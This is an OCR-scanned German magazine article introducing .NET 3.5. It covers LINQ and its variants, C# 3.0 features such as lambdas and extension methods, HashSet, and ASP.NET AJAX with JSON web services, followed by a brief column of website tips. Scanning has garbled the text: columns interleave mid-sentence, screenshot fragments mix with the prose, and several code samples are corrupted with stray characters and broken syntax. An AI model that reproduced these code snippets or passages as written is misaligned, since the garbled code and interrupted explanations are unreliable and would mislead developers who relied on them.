@"Data Source=PHOENIX\SQLEXPRESS; Initial Catalog=Northwind; Integrated Security=True”); 


var csl = System. Configuration. ConfigurationManager.Connectionstrings[0].Connectionstring; 


var custProds = from e in nc.GetTable<Customer>() from o in e.Orders 
from od in o.Order Details orderby e.ContactName 
select new { c.ContactName, od.Product.ProductName }; 


5 # custProds |{SELECT [t0]. [ContactName], [t3].[ProductName]OOFROM [dbo].[Customers] AS [t0]JOOICROSS JOIN [dbo].[Orders] AS [tLIDOCROSS JOIN [dbd 


©  Expanding the Results View will enumerate the IEnumerable 


K ® [0] {ContactName = "Alejandra Camino", ProductName = "Camembert Pierrot" } 
var Tage = new [] ® @ [1] {ContactName = "Alejandra Camino", ProductName = "Guarans Fantästica" } 

= ® #[2] {ContactName = "alejandra Camino", ProductName = "Nord-Ost Matjeshering" } 

© 9 [3] 4 ContactName = "Alejandra Camino", ProductName = "Nord-Ost Matieshering" } 


from Customers", 


tamstag", "Sonntag" }; 


Der Debugger enthüllt, welchen SQL-String der Compiler aus dem LINQ-to-SQL- 
Ausdruck generiert hat. Das Ergebnis findet sich im Feld Results View. 


Der sprachliche Unterbau von LINO ist ein 
wahres Meisterwerk an Vereinfachung und 
Eleganz geworden, wenn man sich ansieht, 
wie klobig entsprechende Lösungen mit C# 
2.0 noch waren - trotz und wohl auch wegen 
Generics. Nicht dass Generics damit vom Tisch 
wären - im Gegenteil: Sie bilden sogar die 
Grundlage der LINO-Implementation. 

Wer sich darüber gefreut hatte, dass mit C# 
2.0 ein gewisses Laissez-faire im Bereich der 
Delegaten aufgekommen war - Stichwort: 
anonyme Methoden und implizite Instanziie- 
rung von Funktionszeigerobjekten -, sollte 
nun regelrecht in Verzückung geraten ange- 
sichts des neuen Selbstverständnisses, mit 
dem die Sprache ihre ursprünglich noch pro- 
klamierte Explizitheit inzwischen abgelegt 
hat. Die Tabelle auf Seite 179 zeigt einen 
Überblick über die Neuerungen und gibt ins- 
besondere auch ein paar LINQ- Beispiele. 

LINQ-Ausdrücke lassen sich ohne weitere 
Maßnahmen direkt als Datenquellen für die 
DataSource-Eigenschaft von Steuerelementen 
wie DataGridView verwenden. Die LINQ-Imple- 
mentation in der .NET-3.5-Klassenbibliothek 
unterteilt sich derzeit in vier Bereiche, ein 
fünfter ist noch im Werden: 

LINQ to Objects adressiert allgemeine 
Mengenoperationen über IEnumerable<>-Ob- 
jekten und kann als Oberbegriff für alle an- 


<?xml version="1.0" encoding="utf-8" ?> 
<contacts> 


deren Geschmacksrichtungen verstanden 
werden. 

LINQ to SQL (ehemals DLing) zielt auf 
Mengenoperationen über objektrelationalen 
Abbildungen von Datenbankstrukturen. 
Wichtigstes Werkzeug ist ein neuer DBML- 
Designer, der die schnelle Modellierung der 
verwendeten Datenbankstrukturen (mit indi- 
viduellen Zusätzen wie Verknüpfungen) ge- 
stattet und vor allem die notwendigen Daten- 
typen für die objektrelationale Abbildung im 
dbml- sowie im C#- oder VB-Format generiert 
und mit dem Modell in Einklang hält. LINQ-to- 
SQL-Ausdrücke übersetzt der Compiler in re- 
guläre SQL-Anfragen, die sich zum Beispiel 
per Debugger sichtbar machen lassen. 

LINQ to DataSet umfasst die notwendige 
Unterstützung für Mengenoperationen über 
typisierten DataSets, wie sie mit .NET 2.0 ein- 
geführt wurden. Operiert wird über Instan- 
zen typisierter DataSet-Objekte, die zuvor von 
einem DataAdapter-Objekt befüllt wurden. 

LINQ to XML (ehemals XLing) operiert über 
einem neuen, über der Basisklasse System.Xml. 
Ling.XObject aufgespannten Objektmodell, das 
speziell auf die Bedürfnisse von LINQ zuge- 
schnitten wurde und eine etwas leichtfüßige- 
re Alternative zum DOM darstellt. Im Vergleich 
zu den bisherigen Abfragevehikeln XPath und 
XQuery nimmt LINQ to XML eine strengere 


<contact firstname="Andrea" name="Peters" telefon="089815471"> 
<adresse citycode="D-80123" city="M/®nchen" street ="Parkstr. 5"/> 
<adresse citycode="D-80224" city="M/®nchen" street ="Domagkstr. 34b"/> 


</contact> 


<contact firstname="Dieter" name="Schmieder" telefon="0302315471"> 
<adresse citycode="13231" city="Berlin" street ="Reiterweg 3"/> 


</contact> 


<lostcontact firstname="Walter" name="Grundschmied" reason="Umzug"/> 


</contacts> 


Die Elements-Auflistung von contacts enthält in dieser Struktur zwei unterschiedliche 
Elementtypen. Die Zugriffsmethode für die Auflistung ist überladen und 
ermöglicht bei Übergabe eines XName-Elements eine Filterung der Ausgangs- 


menge auf den entsprechenden Elementtyp. 
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Typisierung vor, was die Fehlerprüfung durch 
den Compiler verbessert. Eine zentrale Rolle 
für LINQ to XML spielt der Datentyp XElement, 
dessen Objekte als XML-(Teil-)Bäume fungie- 
ren. Ausgangspunkt von Abfragen ist eine der 
Auflistungen eines X0bject-Objekts - meist die 
Elements-Auflisttung eines XElement-Objekts -, 
deren Zugriffsmethode praktischerweise eine 
optionale Filterung auf einen bestimmten In- 
haltstyp ermöglicht. Der in der Abbildung 
links gezeigte Code bezieht sich auf die unten 
gelistete XML-Datei. 

Numero fünf, LINQ to Entity, ist vorerst 
noch nicht spieltauglich - und zwar so lange, 
bis das neue ADO.NET Entity Framework (EF) 
fertig gestellt ist. Derzeit als Beta 3 im Ange- 
bot, ist seine Auslieferung im Zuge des ers- 
ten Service Pack für .NET 3.5 gegen Mitte 
2008 in Aussicht gestellt. Gegenüber LINQ to 
SQL soll LINQ to Entity den Zugriff auf belie- 
bige Datenquellen gestatten, für die ein 
ADO.NET-Provider zur Verfügung steht. 

Eine Sprachintegration für LINQ besteht 
derzeit nur für C# und für Visual Basic. Für 
C++/CLI ist sie vorerst nicht angekündigt, 
womit C# über seinen Ahnen hinausgewach- 
sen wäre. Es gibt aber Projekte wie CLing [6], 
die versuchen, die LINQ-Features aus der 
.NET-3.5-Klassenbibliothek mundgerechter zu 
verpacken. Das klappt natürlich auch für jede 
andere .NET-Sprache, vorausgesetzt, dort ist 
eine Unterstützung für Generics vorhanden. 


Dopingkontrolle 


Obwohl für LINQ eine Fülle von Mengenope- 
rationen definiert wurden, sitzt mit HashSet ein 
zweiter, etwas schneller arbeitender Men- 
gentyp auf der Reservebank. Seine Herkunft 
ist System.Collections.Generic, wo auch andere 
Mengentypen wie Dictionary<TKey, TValue>, 
List<T> oder Queue<T> zu finden sind: 


public class HashSet<T> 

: ICollection<T>, IEnumerable<T>, 
lEnumerable, ISerializable, 
IDeserializationCallback 


LINQ-Operationen liefern generell - wie für 
Operatoren üblich - ein neues Collection- 
Objekt zurück. Echte HashSet-Operationen 
modifizieren hingegen das bestehende Col- 
lection-Objekt auf der Instanz-Ebene. 

LINO bietet ja die Mengenoperationen Dis- 
tinct<>, Union<>, Intersect<> und Except<> an. Da 
LINQ-Operationen als Erweiterungsmetho- 
den für den Datentyp IEnumerable<T> definiert 
sind, sind diese grundsätzlich auch für Hash- 
Set-Objekte verwendbar, liefern dann aber 
keine HashSets, sondern IEnumerable<T> zu- 
rück, ohne die Operanden zu verändern. Die 
eigenen Mengenoperationen von HashSet<T> 
wie IntersectWith, UnionWith oder SymmetricExcept- 
With (Entweder-Oder) liefern hingegen ein 
void und operieren über der Instanz, das heißt, 
sie verändern die Ausgangsmenge. 


JSON nun bei Ajax 


Gemessen an dem, was ASP.NET von 1.1 
nach 2.0 zugelegt hat, müsste der neuerli- 
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che Sprung hoch zur Version 3.5 einiges an 
Erwartungshaltung rechtfertigen. Um es 
gleich vorauszuschicken: Dem ist nicht so. 
Die New-Feature-Liste wird im Wesent- 
lichen von dem Akronym AJAX (Asynchro- 
nous JavaScript And XML) beherrscht. Wer 
damit außer einer niederländischen Fuß- 
ballmannschaft und einem Putzmittel 
nichts weiter verbindet: Es handelt sich hier 
um einen neuen Oberbegriff für ein Sam- 
melsurium von Techniken, deren Gemein- 
samkeit hauptsächlich darin besteht, dass 
sich Client und Webserver nach der Auslie- 
ferung einer Seite per JavaScript unterhal- 
ten und dabei XML-Daten austauschen. 
Unter anderem eröffnet dies die Möglich- 
keit, die ausgelieferte Seite im Nachhinein 


gezielt umzuändern, was die Server- und 
Netzwerklast stark vermindert. 

Der größte Teil der nun in ASP.NET 3.5 inte- 
grierten AJAX-Unterstützung steht seit länge- 
rem als Erweiterung für ASP.NET 2.0 in Form 
der Microsoft AJAX Library 1.0 zur Verfügung. 
Für die Integration in .NET 3.5 wurde diese Bi- 
bliothek lediglich ein wenig aufgestockt zur 
AJAX Library 3.5, die sich für ASP.NET 2.0 auch 
separat herunterladen lässt [7]. 

Wer schon mal einen Blick auf die ASP.NET 
AJAX Futures [8] geworfen hat, wird sich 
schmerzlich vertröstet fühlen - zum Beispiel 
bei der Unterstützung für Silverlight, der 
neuen .NET-basierten Frontend-Technologie, 
mit der Microsoft Adobes Flash-Player zu 
Leibe rücken will. 
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In der Hauptsache hinzugekommen ist 
eine Unterstützung für JSON (JavaScript Ob- 
ject Notation). Obwohl die Implementierung 
an sich überwiegend in der WCF steckt, ist 
diese Unterstützung für die Kombination 
ASP.NET und AJAX folgenreich: Sie zielt vor 
allem darauf ab, JavaScript-Clients das Kon- 
sumieren von Webservices (ASMX und WCF) 
schmackhafter zu machen, indem sie dafür 
sorgt, dass Webservices anstatt mit WSDL 
und SOAP nun auch im hauseigenen Skript- 
format antworten können. 

Der Gedanke, Webservices per Client- 
Skript, also vom Browser aus, anzusprechen, 
ist an sich alter Schnee, und auch seiner Um- 
setzung standen nie unüberwindliche Hin- 
dernisse im Wege. Problematisch war ledig- 


Neuerungen in C# 3.0 


Konzept 


Implizit typisierte lokale Variablen 
und Arrays 


Partielle Methoden 


‚Automatische Eigenschaften 


Erweiterte Instanziierung 


Collection-Initialisierung 


Anonyme Typen 


Erweiterungsmethoden 


LINQ 


Lambda-Ausdrücke 
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Codebeispiel 

var a = "ein wert"; // string 

var b = 12.0; // double 

var e = new[L] {12, 3}; A lmielca) 
var f = new[£] {12, 13.0, 10f}; // double[] 
var f = new[L] {12, true}; /! Fehler 
a=b; // Fehler, weil Typ von a fest 


partial class PartMethod 
{ 


partial void doubler(ref double d); 


Sana class PartMethod 
{ 

partial void doubler(ref double d) { d *= 2; } 
} 


protected string Name { get; set; } 
public bool Done { get; private set; } 


Form! form! = new Formf { Width = 300, Height = 200 }; 
Pen pen! = new Pen(Brushes.Black) { Width = 2.2f }; 


Vans cs Zenenslisit<nint>s tel Ela 


var gast new { Name "Pia", Tel 
var gast2 = new { Name = "Leo", Tel 


= le 3 
if (gast1.Tel == gast2.Tel) {...} 


"08154711" }, 


public static class myExtensions 

{ public static List<uint> primfactors(this uint n) 
SE. 

} 


ie 1 = Br; 
var factors = i.primfactors(); 


var Tage = new[£] { "Montag", "Dienstag", "Mittwoch" }; 
var Kurznamen = from w in Tage 
select w.Substring(0, 2); 
var tagTlage = from w in Tage 
where w.Contains("tag") select w; 
var Termine = new [] 
U new { Name = "Zahnarzt", Tag = "Montag" } }; 
var TageTermineJoin = from t in Tage 
join e in Termine on t equals e.Tag 


select e; 
(p) => p /I System.Func<T, TResult> 
(p,a) »>aq /I System.Func<T1, T2, TResult> 


(string a) => a.Contains("tag") // System.Func<string, bool> 
(a) => a.Contains("tag") Il System.Func<T, bool> 

(a) => { return a.Contains("tag"); } // System.Func<T, bool> 
// Anwendung von Lambda-Ausdrücken 

var tagTage = Tage.Where(p => p.Contains("tag")); 

var TageTermineJoin = Tage.Join( 


Termine, // verknüpfte Menge 
De /I Tage-Elementselector für Verknüpfung 
q => q.Tag, // Termine-Elementselector für Verknüpfung 


(p,qa) => q); // Ergebnisselector (Reihenfolge ist wichtig) 


Erläuterungen 

Datentyp des Rechtswerts legt den Typ der lokalen Variablen 
implizit und unveränderlich fest. Der Array-Datentyp ergibt 
sich als „kleinster gemeinsamer Nenner“, der mit allen Elemen- 
ten verträglich ist (außer object). Der Compiler nutzt dafür 
implizite Typumwandlungen und gemeinsame Basisklassen. 


Partielle Methoden dürfen in einem anderen Teil einer 
partiellen Klasse vorausdeklariert werden, sofern gewährleistet 
ist, dass sie ein void zurückliefern. 


Compiler ergänzt Code und anonyme private-Variable. 


Explizite Initialisierung von public-Eigenschaften bei 
Instanziierung möglich. Reihenfolge ist beliebig. 


Wurde der Syntax für Array-Initialisierung angeglichen. 


Nur implizit typisierte Eigenschaften möglich. Diese sind read- 
only und werden von IntelliSense aufgelistet. Verwendung 
stark reglementiert. Auch bei Strukturgleichheit nicht mit 
benannten Typen kompatibel. 


Erweitert den Datentyp des ersten Parameters um eine public- 
Methode. Angabe des this-Modifizierers ist erforderlich. Der 
Aufruf erfolgt wie der einer gewöhnlichen Methode. Nicht 
überschreibend, Überladung ist möglich. 


Weitere C#-Query-Operatoren sind: orderby...[descending], 
group...by...into, let. .NET-seitig steckt die Implementation im 
Namensraum System.Ling, wo neben Where<>, und Select<> 
zahlreiche weitere Erweiterungsmethoden wie Min<> oder 
Intersect<> für IEnumerable<> definiert sind, für die kein C#- 
Operator existiert. 


Implizite und explizite Typisierung möglich. Entspricht einer 
generischen Methode, deren Aufrufparameter auf der linken 
Seite des =>-Operators notiert sind, der Rückgabewert rechts. 
Rückgabewert kann ein aus den Parametern gebildeter 
Ausdruck sein oder eine Anweisungsfolge (Methodenkörper). 
Das Anwendungsbeispiel zeigt die beiden LINQ-Abfragen der 
vorigen Zeile in alternativer Formulierung mit Erweiterungs- 
methoden. 
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I Mozilla Firefox 


Datei Bearbeiten Ansicht Chronik Lesezeichen Extras Hilfe 
«> eöß 
La 

Type.registerNamespace ('WebServicel'); 
VebServicei.helloServicei=function() { 
VebServicel.helloServicel.initializeBase (this); 
this. timeout = 0; 

this. userContext = null; 

this. succeeded = null; 

this. failed = null; 

} 

VebServicei.helloServicel.prototype={ 
_get_path:function() { 

var p = this.get_path(}; 

i£ (p) return p; 


II http://localhost/ws/helloservicel.asmefis |” 


else return WebServiceil.helloServiceil. staticInstance.get_path()};}, 
HelloWorld:function(test,succeededCallback, failedCallback, userContext) { 
'‘HelloWorld',false, ({test:test} ,succeededCallback, fa 
VWebServicel.helloServiceil.registerClass ('Web5erviceil.helloServicel',Sys.Net.Web$ervicePro} 
WebServicel.helloServicei. staticInstance = new Web5ervicei.helloServicei(); 
WebServicei.helloServiceil.set_path = function(value) { Web5erviceil.helloServicei. staticlh 
VebServicei.helloServicei.get_path = function() { return WebServicei.helloServicel._ 
WebServiceil.helloServicel.set_timeout = function(value) { WebServiceil.helloServicel._: 
WebServicel.helloServiceil.get_timeout = function() { return WebServicel.helloServicei._st4 
WebServicel.helloServicei.set_defaultUserContext = function(value) { WebServicei.helloSer$ 
Web5erviceil.helloServicei.get_defaultUserContext = function() { return Web5ervicei.hellose 
WebServiceil.helloServiceil.set_defaultSucceededCallback = function(value) { WebServicel.he 
WebServiceil.helloServiceil.get_defaultSucceededCallback = function() { return WebServicei.} 


return this. invoke (this. _get_path(), 


==) Die JSON-Beschrei- 
ve bung eines für 

fe \ Scripting ein- 
gerichteten Web- 
dienstes lässt sich 
mit Firefox anzei- 
gen und gibt insbe- 
sondere Aufschluss 
darüber, wie der 
Namespace des 
Webservice aufge- 
baut ist. Der Inter- 
net Explorer bietet 
beim Mime-Typ 
application/x-java- 
script statt einer 
Textansicht einen 
Download an. 


VebServicei.helloServicei.set_defaultFailedCallback = function(value) { WebServicei.hello} 
WebServicel.helloServiceil.get_defaultFailedCallback = function() { return WebServiceil.hel 


WebServiceil.helloServiceil.set_path("/ws/helloServicel.asmx"); 
WebServicel.helloServicei.HelloWorld= function (test,onSuccess,onFailed,userContext) {Web3g 


< 


Fertig 


lich der Umstand, dass Webservices bekannt- 
lich über XML kommunizieren und dem Ja- 
vaScript-Client aufwendiges Parsing abver- 
langen, insbesondere wenn es darum geht, 
die allgemeinen, in WSDL (Web Service Des- 
cription Language) gehaltenen Typbeschrei- 
bungen in spracheigenen Proxy-Code umzu- 
setzen. Wer diesen XML-Wust noch nie ge- 
sehen hat, kann sich per Browser selbst ein 
Bild davon machen, indem er die URL eines 
Webservice eingibt und das Suffix „?wsdl” 
anhängt. Reichlich Beispielmaterial findet 


LINQ-Unterbau 


Angenommen, Sie bekommen ein string- 
Array mit dem Inhalt 


static string[] Wochentage = new string[] 
{ "Montag", "Dienstag", "Mittwoch", "Donnerstag", 


"Freitag", "Samstag", "Sonntag" }; 


und sollen die Elemente, deren Werte einen 
bestimmten Substring, sagen wir „tag“, ent- 
halten, als Teilmenge zusammenstellen. Der 
direkte Ansatz wäre eine Schleife, die für 
jedes Arrayelement das Elementkriterium 
der Teilmenge - Prädikat genannt - anwen- 
det und alle positiv getesteten Elemente in 
ein neues Behältnis bündelt. Weil die Größe 
von .NET-Arrays bekanntlich fest und nicht 
dynamisch ist, bietet sich dafür ein typisier- 
bares generisches Collection-Objekt etwa 
vom Typ List<> an: 


List<string> list = new List<string>(); 
foreach (string s in Wochentage) 
if (s.Contains("tag")) // Prädikat 
list.Add(s); 


Obwohl das funktioniert und sogar Gene- 
rics verwendet, ist der Code hochgradig 
speziell. Da Teilmengenbildung als solche 
ein recht allgemeines Problem darstellt, 
lohnt es, über eine möglichst allgemeine 
Lösung nachzudenken. Ein guter Ansatz 
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sich in dem kleinen Verzeichnis auf www. 
xmethods.com, etwa www.thomas-bayer. 
com/names-service/soap?wsdi. 

Mit der JSON-Erweiterung werden Web- 
services für JavaScript hingegen zur leich- 
ten Kost. Das Aktivieren der Erweiterung 
aufseiten eines ASMX-Webservice geschieht 
durch das neue ScriptService-Attribut aus dem 
Namensraum System.Web.Script.Services, für das 
die neue Elementvorlage „Web Service” be- 
reits eine (standardmäßig auskommentier- 
te) Codezeile vorgibt: 


f 


static void Main(string[] args) 


{ 


erg2 = Wochentage. Sı % Skipwhile<> 


EIass Program 
static string[] Wochentage = new string[] { "Montag", 
IEnumerable<string> ergl = myExtensions. Jubset<string> (Wochentage, 


var erg2 = Wochentage.Bubset<string> (delegate (string s) { return s.Contains("tag"); }); 
ab s) { return s.Contains("tag”); }); 


[System.Web.Script.Services.ScriptService] 
public class HelloService1 
: System.Web.Services.WebService { 
[WebMethod] 
public string HelloWorld(string test) { 


Um nachzuprüfen, wie das Ergebnis aussieht, 
lässt sich der Webservice wieder einfach im 
Browser aufrufen, indem man anstelle von 
„?wsdl” das Suffix „/js" anhängt. Während der 
IE daraufhin einen Download startet, zeigt 
Firefox das Ergebnis gleich als Text an. 

Den Dreh- und Angelpunkt der AJAX- 
Funktionalität aufseiten der ASP.NET-Anwen- 
dung bildet der neue ScriptManager. Er steht 
im Abschnitt „AJAX Extensions” der neuen 
Toolbox von Visual Studio 2008 als Kompo- 
nente im Angebot und schlägt sich wie folgt 
im Seitendesign nieder: 


<form id="form1" runat="server"> 
<asp:ScriptManager ID="_scriptManager" 
runat="server"> 
<Services> 
<asp:ServiceReference 
Path="http://localhost/WS/helloServicel.asmx" /> 
</Services> 
</asp:ScriptManager> 


Was in den Eingeweiden des ScriptMana- 
ger letztlich passiert, zeigt die folgende alter- 
native Formulierung des Geschehens: 


<asp:ScriptManager ID="_scriptManager"runat="server"/> 
<script sre="http://localhost/WS/helloService1.asmx/js" 
type="text/javascript"> 
</script> 


"Dienstag", "Mittwoch", "Donnerstag", "Freit 


delegate (string s) {return s. 


erg2 = Wochentage.Sı © > 


extension) IEnumerable<T> IEnumerable<T > ,Subset<T> (myExtensions.predicate<T> v)) 


} % Sum«<> 
} $ SyncRoot - 
public static class myE% Take<> Mi 
{ 


public delegate bool predicate<T>(T t); 


{ 
List<T> erg = new List<T>(); 
foreach (T t in liste) 
i£ (v(t)) erg.Add(t); 
return erg; 


} 


} 


public static IEnumerable<T> Subset<T> (this IEnumerable<T> liste, 


predicate<T> v) 


IntelliSense listet Erweiterungsmethoden mit auf und kennzeichnet sie 


durch einen kleinen blauen Pfeil. 


dafür wäre, den Code in eine generische 
Methode zu packen, welche die Ausgangs- 
menge sowie das Prädikat als Parameter 
entgegennimmt und die Teilmenge als 
Funktionswert zurückgibt. Dabei sollten die 
Datentypen möglichst allgemein gehalten 
sein: 
public delegate bool predicate<T>(T t); 
public static IEnumerable<T> Subset<T>( 
IEnumerable<T> liste, predicate<T> v) 
{ 
List<T> erg = new List<T>(); 


foreach (T t in liste) 
(vd) 
erg.Add(t); 
return erg; 


} 


Als allgemeinster Datentyp für den ersten 
Parameter und auch für den Funktionswert 
bietet sich der Schnittstellentyp IEnumera- 
ble<> aus der Basis von string[] an. Er bringt 
genau das mit, was die foreach-Schleife benö- 
tigt - nicht mehr und nicht weniger. 
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Der Client verleibt sich den Proxy-Code kurz 
und schmerzlos per <script>-Tag ein. Verdau- 
bar ist das Skript allerdings nur mit Unter- 
stützung des ScriptManager, denn dieser 
steuert unter anderem die Typunterstützung 
für Namensräume bei. 

Der Vollständigkeit halber hier noch der 
Code zum Aufruf der Webservice-Methode 
HelloWorld per Button-Element: 


<head > 
<script type="text/javascript"> 
function OnWsHello() { 
Webservice1.helloService1.HelloWorld( 
'WS-Param', OnDone, OnErr, 'callback_context'); 
} 
function OnDone(result, callback_context) 
{ alert(result); } 
function OnErr(result) 
{ alert("Error: " + result.get_message()); } 
</script> 
</head> 
<body> 
<input id="Button1" type="button" 
value="WS aufrufen" onclick="OnWsHello()"/> 


Mit WCF-basierenden Webservices sieht die 
Geschichte von der Clientseite her nicht an- 
ders aus. Und für den Service tuts im ein- 
fachsten Fall ein neues Element, das mit der 
Vorlage „AJAX-enabled WCF-Service” er- 
stellt und um die angebotenen Methoden 
ergänzt wurde. Die Feinheiten stecken in 
beiden Fällen erwartungsgemäß im config- 
Unterbau. 


Mit den Mitteln von C# 2.0 wäre man nun 
am Ende und am Aufruf selbst hätten ei- 
gentlich nur echte Formalisten ihre Freude: 


lEnumerable<string> erg1 = Subset<string>( 
Wochentage, 
delegate(string s) { return s.Contains("tag"); }); 


C# 3.0 legt jetzt erst richtig los: Als Erstes 
packt man den Code in eine statische Klasse 
und ergänzt im ersten Parameter von Sub- 
set<> ein this. Das ergibt eine Erweiterungs- 
methode, die fortan jeder Instanz einer 
Klasse mit IEnumerable<> in der Basis als zu- 
sätzliche Methode zur Verfügung steht - 
und auch von Intellisense angeboten wird: 


public static class myExtensions 
{ 
public delegate bool predicate<T>(T t); 
public static IEnumerable<T> Subset<T>( 
this IEnumerable<T> liste, predicate<T> v) 
{..} 
} 


Als Nächstes wird der Linkswert per var-De- 
klaration auf implizite Typisierung getunt 
und die Methodenschreibweise verwendet: 


var erg2 = Wochentage.Subset<string>( 
delegate(string s) { return s.Contains("tag"); }); 
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Jenseits der neuen JSON-Unterstützung 
für AJAX-Clients wurde die WCF um drei 
neue Technologien erweitert, die dem Web 
2.0 zuzurechnen sind: REST-konforme Web- 
services (Representational State Transfer) be- 
dienen eine vereinheitlichte Softwarearchi- 
tektur mit vereinfachter Schnittstelle. RSS 
und ATOM sind unterschiedliche und unter- 
einander nicht kompatible XML-Formate für 
die Verbreitung von Nachrichtenfeeds im 
Web in einem plattformunabhängigen For- 
mat. Und nicht zu vergessen, in .NET gibt es 
neuerdings auch einen Pipe-Mechanismus, 
das heißt eigentlich gleich zwei: benannte 
Pipes für die maschinenübergreifende Kom- 
munikation und unbenannte für die Kom- 
munikation mit Tochterprozessen auf einer 
Maschine. 


Qualifikation 


.NET 3.5 macht einen recht soliden und gut 
durchdachten Eindruck - und hält schluss- 
endlich, was man sich von .NET 3.0 verspro- 
chen hatte. Wer ein wenig programmieren 
kann und auch bei Generics keine weichen 
Knie bekommt, wird an LINQ nicht nur seine 
Freude haben, sondern auch den verspro- 
chenen Effizienzgewinn erzielen. Einzig die 
Fehlermeldungen zu LINQ sind nicht gerade 
leichte Kost. Gerade bei so komplexen Zu- 
sammenhängen, wie sie bei LINQ im Unter- 
bau herrschen, wünscht man sich für die ers- 
ten Kontakte einen weiteren Coach jenseits 
der zuweilen noch recht kargen und auch 


Warum sich mit den spitzen Klammern her- 
umschlagen, wo der Compiler nun doch 
auch Typinferenz beherrscht? Elementtyp 
von Wochentage ist string, also: 


var erg2 = Wochentage.Subset( 
delegate(string s) { return s.Contains("tag"); }); 


Die anonyme Methode ist auch nicht gera- 
de eine Schönheit. Dafür gibt es jetzt die 
viel schickeren Lambda-Ausdrücke: 


var erg2 = Wochentage.Subset( 
p => p.Contains("tag")); 


Der Compiler liest das so: Erwartet wird eine 
Methode mit dem Prototyp predicate, sprich 
eine generische Methode, die ein Objekt, 
genannt p, eines parametrisierten Typs ent- 
gegennimmt und ein bool durch Aufruf von 
p.Contains(,tag“) liefert. Das T von Subset wurde 
ja bereits als string ermittelt und bietet sich 
demnach eindeutig als Kandidat für die in- 
nere Typinferenz an. Dass predicate ausge- 
rechnet mit der Typvariablen T deklariert ist, 
tut dabei übrigens nichts zu Sache, der Typ- 
parameter dürfte auch $ heißen: Der Compi- 
ler wühlt sich hier sogar durch Ableitungen 
und implizite Typumwandlungsbäume. p 
hat demnach den Typ string und fungiert als 
Parameter. Selbstredend wird Contains für p 
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schwach mit Beispielcode verlinkten Hilfe: 
einen Fehleranalyse-Assistenten etwa, der 
hie und da ein wenig vermittelt. Wenigstens 
bis der dwim-Operator endlich da ist. Was der 
macht? Do what I mean! (hos) 
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www.codeproject.com/KB/mcpp/cling.aspx 

[7] ASP.NET AJAX Downloads: www.asp.net/ 
ajax/downloads 

[8] ASP.NET Futures: www.asp.net/downloads/ 
futures 
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bereits von IntelliSense aufgelistet, was in 
der Praxis auch mal ein wenig dauern kann, 
bis der entsprechende Thread auf dem Lau- 
fenden ist. 


Lambda-Ausdrücke beschreiben also eine 
Funktion. Links des Pfeiloperators => steht, 
was reingeht, und rechts, was rauskommt. 
Erlaubt sind auch mehrere Parameter: (p,g) 
=> p-q würde demnach die Differenz der 
beiden Aufrufparameter als Funktionswert 
ergeben, wobei der Compiler mit Blick auf 
komplexere verschachtelte Szenarien mit 
Typsubstitution bei der Typinferenz streng 
auf die deklarierte Reihenfolge der parame- 
trisierten Typen achtet. 


Im Namensraum System findet sich neuer- 
dings die Deklaration des generischen Dele- 
gaten Func<> in fünf Überladungen Func<TRe- 
sult>, Func<T, TResult>, Func<T1, T2, TResult> und 
so weiter, der dieses Links-Rechts-Szenario 
formal analog beschreibt und in der Praxis 
gute vordefinierte Prototypen abgibt. 


Im vorliegenden Beispiel könnte man sich 
daher die Definition von predicate sparen und 
Subset schlicht so deklarieren: 


public static IEnumerable<T> Subset<T>( 
this IEnumerable<T> liste, Func<T, bool> v) 
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Online | Websites aktuell 


Webseiten-Quetscher 


http://mowser.com 
www.skweezer.net 


Eine Reihe von guten kostenlosen Browsern 
für Handys können heute komplexe Web- 
seiten auch auf kleinen Displays ordentlich 
darstellen - zum Beispiel Opera Mini. Wer 
aber ein in die Jahre gekommenes Mobil- 
telefon benutzt, das eine Java-Anwendung 
nicht installieren kann, muss sich anders 
behelfen. Mowser zum Beispiel unterhält 
einen Proxy, der Seiten so aufbereitet, dass 
auch Handys sie darstellen können. Auf der 
Homepage des Dienstes sind praktischer- 
weise je 100 wichtige Tech- und allgemeine 
News-Sites verlinkt. Außerdem unterhält 
Mowser ein Feed-Verzeichnis mit gut 1000 
Einträgen. Sollte Mowser eine Seite nicht or- 
dentlich umbrechen, eignet sich Skweezer 
als gute Alternative. Benutzer können dort 
auch Bookmark-Samlungen hinterlegen 
und sich beliebige RSS-Feeds anzeigen 
lassen. 


Was geschah am ...? 


http://de.wikipedia.org/wiki/ 
28._Dezember 
http://news.bbc.co.uk/onthisday 


Es ist eine verbreitete Tradition, an Geburts- 
tagen oder anderen Jubiläen nachzusehen, 


1944: Germany counter 
attacks in Ardenne: 


* Lopking back 


A selection of the best of your 


net aufzubauen, um das Wissen der Mensch- 
heit jedermann zugänglich zu machen. Die 
Carnegie Mellon University, die Zhejiang- 
Universität, das Indian Institute of Science 
und die Bibliothek von Alexandrien haben 
bereits mehr als 1,2 Millionen Bücher digitali- 
siert und online gestellt. Nur einen kleinen 
Teil der Bücher findet man bislang auf 
Deutsch, die überwiegende Mehrzahl ist in 
englischer oder chinesischer Sprache ge- 
schrieben. (jo) 


Genuss satt 


www.genussblogs.net 
http://peho.typepad.com/chili_ 
und_ciabatta 
www.eigenarbeit.org/ 
molekularkueche 
http://pizza.blogg.de 


Kochen Sie leidenschaftlich? Essen Sie, oder 
allgemeiner: Genießen Sie gerne? Dann 
könnte Genussblogs.net eine regelmäßige 
Anlaufstelle für Sie werden. Die Website ist 
der Wegweiser zu mehr als 600 Weblogs 
aus den Bereichen Essen, Trinken, Backen, 
Kochen, Lebensmittel und Gastronomie. 
Das thematische Blog-Verzeichnis enthält 
auch eine Rubrik namens „Genuss allge- 
mein“, das auch einige Blogs enthält, die 
sich um das Thema Rauchen drehen. 

Die verzeichneten Blogs beleuchten die 
Themen Essen und Genuss aus den verschie- 
densten Perspektiven. In Aus dem 
Leben eines Pizzalieferdienstes 
bloggt zum Beispiel ein Pizzabäcker 
aus dem Nähkästchen. Eine Hobby- 
köchin erzählt in Chili und Ciabatta 
aus ihrer Küche. Der Name des Blogs 
verrät bereits ihre Vorlieben: scharfe 
Küche und gutes Brot. Und die mole- 
kularkueche hat sich ganz der Koch- 
schule verschrieben, die versucht, die 
chemischen Prozesse beim Kochen 
zu verstehen. 

Da Genussblogs.net die Schlagzei- 
len aller neuen Nachrichten sämt- 
licher im Katalog enthaltenen Sites 
verlinkt, ist der Besucher immer um- 


was an diesem Tag des Jahres sonst noch so 
Wichtiges passiert ist. Redenschreiber finden 
hierzu eine Menge Material in der Wikipe- 
dia. Dazu müssen sie nur wie in der Beispiel- 
URL das betreffende Datum an die Wikipe- 
dia-Stamm-Adresse anhängen. BBCs on this 
day ergänzt die Liste mit weiteren Terminen 
und mit Material aus dem Archiv des briti- 
schen Senders. (jo) 


Digitales Alexandria 


www.ulib.org 


